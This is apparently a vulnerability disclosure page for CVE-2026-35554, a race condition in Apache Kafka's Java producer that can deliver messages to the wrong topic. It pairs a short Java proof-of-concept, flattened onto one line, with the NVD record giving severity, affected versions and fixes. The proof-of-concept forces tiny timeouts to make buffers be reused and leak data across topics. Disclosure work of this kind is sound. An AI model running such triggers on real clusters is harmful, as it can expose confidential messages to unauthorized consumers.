CVE-2026-35554

/* * PoC Concept for CVE-2026-35554 * This code attempts to trigger the race condition by setting a very short * delivery timeout and sending messages to different topics rapidly. */ import org.apache.kafka.clients.producer.*; import java.util.Properties; public class KafkaRaceConditionPoC { public static void main(String[] args) { Properties props = new Properties(); props.put("bootstrap.servers", "localhost:9092"); props.put("key.serializer", "org.apache.kafka.common.serialization.StringSerializer"); props.put("value.serializer", "org.apache.kafka.common.serialization.StringSerializer"); // Set a very short timeout to force expiration while in flight props.put("delivery.timeout.ms", "1"); props.put("request.timeout.ms", "1"); // Enable batching to increase chance of buffer reuse props.put("linger.ms", "10"); Producer<String, String> producer = new KafkaProducer<>(props); try { // 1. Send to Topic A (Sensitive Data) producer.send(new ProducerRecord<>("Topic-Sensitive", "key", "Secret-Data")); // 2. Simulate network delay or wait for timeout condition Thread.sleep(5); // 3. Rapidly send to Topic B to reuse the freed buffer // This batch may reuse the buffer from Topic A if the race condition occurs for (int i = 0; i < 100; i++) { producer.send(new ProducerRecord<>("Topic-Public", "key", "Public-Data-" + i)); } System.out.println("Messages sent. Check Topic-Public for potential data leakage."); } catch (Exception e) { e.printStackTrace(); } finally { producer.close(); } } }

{"cve": {"id": "CVE-2026-35554", "sourceIdentifier": "[email protected]", "published": "2026-04-07T14:16:23.413", "lastModified": "2026-04-08T21:27:15.610", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics.\n\nWhen a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch’s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch—potentially destined for a different topic—reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer.\n\n\nData Confidentiality:\nMessages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic.\n\nData Integrity:\nConsumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data.\n\nThis issue affects Apache Kafka versions ≤ 3.9.1, ≤ 4.0.1, and  ≤ 4.1.1.\n\nKafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://issues.apache.org/jira/browse/KAFKA-19012", "source": "[email protected]"}, {"url": "https://lists.apache.org/thread/f07x7j8ovyqhjd1to25jsnqbm6wj01d6", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/07/6", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}